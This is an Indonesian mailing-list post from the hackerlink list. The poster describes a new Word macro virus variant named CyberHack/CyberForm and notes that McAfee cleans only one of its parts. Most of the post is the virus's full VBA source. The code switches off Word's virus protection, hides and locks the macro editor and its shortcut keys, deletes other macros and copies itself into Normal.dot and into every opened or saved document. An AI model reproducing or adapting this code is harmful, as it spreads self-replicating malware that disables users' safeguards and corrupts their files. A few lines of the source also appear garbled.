Saya baru menemukan varian baru dari virus word macro, yach seperti di
bawah ini.
Uniknya dia akan menamakan dirinya cyberhack dan cyberform, dan yang bisa
dibersihkan oleh McAfee hanya CyberHacknya saja, dan cyberformnya tidak
bisa, karena cyberformnya tidak bisa dihilangkan maka virusnya tetap saja
ada di file word, dan malah merusak file tadi sehingga tidak bisa dibuka
sama sekali.
Attribute VB_Name = "CyberHack"
' Macros By WinK'S Hacker
' Picture By Casper Satan
' Lebih baik mencoba dari pada tidak tahu sama sekali ...
' Mohon ma'af bila telah mengganggu Anda.
' Microsoft memang gila ! Nambahin fasilitas pemrogramannya
' keterlaluan untuk suatu word prosesor.
Public AlAsal
Public DokSave
Public Norok
Public Dokok
Sub CyInit()
AlAsal = Application.DisplayAlerts
Application.DisplayAlerts = wdAlertsNone
Call Tahan
WordBasic.DisableAutoMacros 0
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
On Error Resume Next
CommandBars("Tools").Controls("Macro").Delete
CustomizationContext = NormalTemplate
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
On Error GoTo 0
End Sub
Sub CyClose()
Application.DisplayAlerts = AlAsal
End Sub
Sub Dok2Nor()
Call Tahan
On Error GoTo Erw1
Norok = False
Set AD = ActiveDocument
Set NT = NormalTemplate
On Error GoTo Erh1a
For i = 1 To NT.VBProject.VBComponents.Count
NMacr = NT.VBProject.VBComponents(i).Name
If NMacr = "CyberHack" Then Norok = True
If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And (NMacr <>
"ThisDocument") Then
Application.OrganizerDelete Source:=NT.FullName, _
Name:=NMacr, Object:=wdOrganizerObjectProjectItems
End If
Next i
Erh1a:
If Norok = False Then
On Error GoTo Erh1
Application.OrganizerCopy Source:=AD.FullName, _
Destination:=NT.FullName, Name:= _
"CyberHack", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=AD.FullName, _
Destination:=NT.FullName, Name:= _
"CyberForm", Object:=wdOrganizerObjectProjectItems
Templates(NT.FullName).Save
Erh1:
End If
Erw1:
End Sub
Sub Nor2Dok()
On Error GoTo Erw2
DokSave = 0
Dokok = False
Set AD = ActiveDocument
Set NT = NormalTemplate
On Error GoTo Erh2a
For i = 1 To AD.VBProject.VBComponents.Count
NMacr = AD.VBProject.VBComponents(i).Name
If NMacr = "CyberHack" Then Dokok = True
NMacr = NT.VBProject.VBComponents(i).Name
If NMacr = "CyberHack" Then Dokok = True
If (NMacr <> "CyberHack") And (NMacr <> "CyberForm") And _
(NMacr <> "ThisDocument") And (NMacr <> "Reference to Normal") Then
.OrganizerDelete Source:=AD.FullName, _
NameApplication:=NMacr, Object:=wdOrganizerObjectProjectItems
End If
Next i
Erh2a:
If Dokok = False Then
On Error GoTo Erh2
Application.OrganizerCopy Source:=NT.FullName, _
Destination:=AD.FullName, Name:= _
"CyberHack", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NT.FullName, _
Destination:=AD.FullName, Name:= _
"CyberForm", Object:=wdOrganizerObjectProjectItems
DokSave = 1
Erh2:
End If
Erw2:
End Sub
Sub Cyber()
Call CyInit
Call Dok2Nor
Call CyClose
End Sub
Sub Tahan()
With Options
.VirusProtection = False
.SaveNormalPrompt = False
End With
End Sub
Sub Simpan()
On Error GoTo Erh4
Set AD = ActiveDocument
If DokSave = 1 Then
AD.SaveAs FileName:=AD.Name, FileFormat:=wdFormatDocument
End If
Erh4:
End Sub
Sub AutoOpen()
Call Cyber
End Sub
Sub FileClose()
Call CyInit
Call Dok2Nor
Call Nor2Dok
Call CyClose
WordBasic.FileClose
End Sub
Sub FileOpen()
Call Cyber
Dialogs(wdDialogFileOpen).Show
Call CyInit
Call Nor2Dok
Call Simpan
Call CyClose
End Sub
Sub FileSaveAs()
Call CyInit
Call Dok2Nor
Call Nor2Dok
Call CyClose
Dialogs(wdDialogFileSaveAs).Show
End Sub
Sub FileSave()
Call CyInit
Call Dok2Nor
Call Nor2Dok
Call CyClose
On Error GoTo Errh1
If ActiveDocument.Saved = False Then ActiveDocument.Save
Errh1:
End Sub
Sub HelpAbout()
On Error GoTo Erw3
CyberForm.Show
Erw3:
End Sub
Sub FileExit()
Call CyInit
Call Dok2Nor
Call Nor2Dok
On Error GoTo Erw4
If WeekDay(Date) = 6 Then CyberForm.Show
Erw4:
Call CyClose
WordBasic.FileExit
End Sub
Sub ToolsOptions()
Dialogs(wdDialogToolsOptions).Show
Call Cyber
End Sub
Sub FileNew()
Call Cyber
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileTemplates()
Call Cyber
End Sub
Sub ToolsMacro()
Call Cyber
End Sub
Sub ToolsCustomize()
Call Cyber
End Sub
Sub ToolsCustomizeKeyboard()
Call Cyber
End Sub
Sub ViewVBCode()
Call Cyber
End Sub
Sub Organizer()
End Sub
peraturan milis hackerlink : [EMAIL PROTECTED]
unsubscribe milis hackerlink : [EMAIL PROTECTED]
archive : http://www.mail-archive.com/[email protected]
__________________________________________________________________
http://www.hackerlink.or.id - question reality - be paranoid (?)
http://www.hackerlink.or.id/ekh - erratum krack house site (!)
http://www.hackerlink.or.id/spx - SpeltraniX all the way (X)
